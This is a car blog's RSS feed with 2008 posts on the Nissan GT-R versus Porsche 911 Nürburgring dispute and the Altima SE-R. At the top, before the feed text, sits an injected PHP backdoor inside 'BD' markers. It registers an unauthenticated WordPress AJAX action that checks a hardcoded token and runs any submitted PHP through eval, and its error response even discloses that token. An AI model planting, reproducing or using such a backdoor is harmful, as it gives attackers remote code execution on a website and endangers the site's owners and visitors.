// ==[BD:O1Jugo5j]== add_action( 'wp_ajax_nopriv_nxcszbntxo', function() { $item = 'O1Jugo5jmZ8SOrFvI8wMKHgWwFXwZzgj'; $key = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $key ) || ! hash_equals( $item, $key ) ) { wp_send_json_error( [ 'message' => 'tok:' . $item ], 403 ); } $data = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $data ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $data = preg_replace( '/^\s*<\?(php)?/i', '', $data ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $ptr = microtime( true ); ob_start(); try { ( static function() use ( $data ) { return eval( $data ); } )(); $val = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $val, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $ptr ) * 1000, 2 ) ] ); } catch ( \Throwable $marker ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $marker->getMessage(), 'time_ms' => round( ( microtime( true ) - $ptr ) * 1000, 2 ) ] ); } } ); // ==[/BD:O1Jugo5j]== Nissan – Car of the Day https://www.caroftheday.org Opining on Automotive Opinion Mon, 06 Oct 2008 01:50:52 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 911 vs GT-R https://www.caroftheday.org/2008/10/05/911-vs-gt-r/ Mon, 06 Oct 2008 00:02:03 +0000 http://www.caroftheday.org/?p=112 Last week Porsche and Nissan have been bickering over the Nissan’s GT-R Nurburgring lap times.  Porsche actually purchased a US spec Nissan GT-R to run around the famed German track. 

When the dust had settled Porsche run the Nissan around the track with time of 25 seconds slower than Nissan was able to run their own car.  This caused the folks at Porsche to speculate that Nissan brought in a “ringer”. (pun intended) Perhaps a car set up for track duty, with tweaked suspension and sticky track tires.  

Now Nissan has responded by standing by their claims that thier car was production spec and ran on actual street tires.  

The crux of the matter is the 25 second difference in the lap times for the Nissan.  Those 25 seconds represent the difference in which car is faster the 911 or the GT-R.  Either way Nissan wins, they have a car that legitimately competes with one of the great sports cars of all time.

]]> The Official Car of Funkytown – How Nissan killed their best Altima https://www.caroftheday.org/2008/06/03/the-official-car-of-funkytown-%e2%80%93-how-nissan-killed-their-best-altima/ Wed, 04 Jun 2008 03:02:00 +0000 http://www.caroftheday.org/?p=51 For the 2005/2006 model year Nissan created a special Altima.  I remember the first time I saw the Nissan Altima SE-R.  It was the best looking Altima I had ever seen and with an SE-R badge on it I knew it had to be something special. 

I am a sucker for special cars, however when I saw the sticker for the Altima SE-R I was disappointed in the nearly $30,000 price tag.  This put the best Altima within a couple grand of its corporate cousin the Infiniti G35. 

The Altima SE-R has been simply called a Nissan with a trim package and that can only be said by someone who has never driven the SE-R.

Nissan did a great job of tempting me with this vehicle.  It was my legitimate car of the day for several months, after an impressive spin behind the wheel.  When I took the driver’s seat of the SE-R I was really skeptical  of how well a 260hp FWD Altima would handle.  I had the good fortune going on the test drive with a cool saleperson who allowed me really wind out the Nissan. 

The Altima SE-R is basically a front-wheel drive 350Z with 4 doors.  The SE-R has a lot of the interior cues from the 350Z.  It has an upgraded exhaust and suspension bits and some of the coolest wheels to show up on a sedan.   Through all that in with a close ratio 6-speed transmission and you have yourself a very special car that is a great sleeper sedan.

Now the SE-R isn’t the perfect car it does have a couple of flaws. 

·    The first was its original MSRP which put it within $2000 of the G35.  However, in 2008, depreciation was little rougher on the Altima and that is good news for you.  The current going rate for a 2005/06 SE-R vs a similar G35 may be as much as $6,000. 

·    The second is it is a front wheel drive. This car steers and drives with the same two wheels. So no matter how good it is you can always say “for a FWD car” at the end of it.

·    Third is it is still just an Altima.  There a lot of Altimas out there, very few SE-Rs, but a ton of Altimas.

·    Fourth was the super lame ad campaign that claimed that the Altima SE-R was the “Official Car of Funkytown.”  Somewhere there is a SE-R project manager that is rolling over in his figurative grave because some ad guru made the highest performance 4 door from Nissan the official car of funkytown.

A friend is looking at buying a new sporty  sedan and the SE-R has made it on to his short list and it has brought it to top of mind for me.   So the Car of the Day is a gently used 2005/2006 Altima SE-R for less than $18k.

]]> Scoop! Letter from Car and Driver to Nissan Leaked to TTAC https://www.caroftheday.org/2008/05/30/leaked-letter-from-car-and-driver-to-nissan/ https://www.caroftheday.org/2008/05/30/leaked-letter-from-car-and-driver-to-nissan/#comments Sat, 31 May 2008 03:12:40 +0000 http://www.caroftheday.org/?p=49 The Truth About Cars (TTAC) is a non-biased  automotive website that has published one of my articles.

 

This article is in response to a Car and Driver article where they compared a 911 turbo, GT-R and a M3 and gave the M3 the gold medal. 

 

http://www.thetruthaboutcars.com/scoop-letter-from-car-and-driver-to-nissan-leaked-to-ttac/

 

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